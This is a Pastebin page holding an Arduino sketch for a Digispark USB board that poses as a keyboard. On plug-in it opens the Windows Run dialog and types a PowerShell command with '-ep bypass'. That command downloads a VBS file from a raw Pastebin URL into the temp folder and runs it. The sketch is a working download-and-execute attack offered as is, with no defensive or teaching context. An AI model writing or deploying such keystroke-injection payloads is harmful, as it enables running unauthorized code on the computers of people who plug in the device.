Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define kbd_pt_pt
- #include "DigiKeyboard.h"
- void digiBegin() {
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(100);
- }
- void digiEnd() {
- const int led=1;
- pinMode(led, OUTPUT);
- while (1) {
- digitalWrite(led, !digitalRead(led));
- DigiKeyboard.delay(500);
- }
- }
- void setup() {
- //empty
- }
- void loop() {
- digiBegin();
- DigiKeyboard.delay(1200);
- DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
- DigiKeyboard.delay(250);
- DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- DigiKeyboard.delay(250);
- DigiKeyboard.println("powershell -ep bypass -command \"& { (New-Object Net.WebClient).DownloadFile('https://pastebin.com/raw/5LfmsN71', '%temp%/run.vbs') ;Start-Sleep -Milliseconds 300; Start '%temp%/run.vbs'}\" ");
- DigiKeyboard.update();
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(2000);
- digiEnd();
- for(;;){ /*empty*/ }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement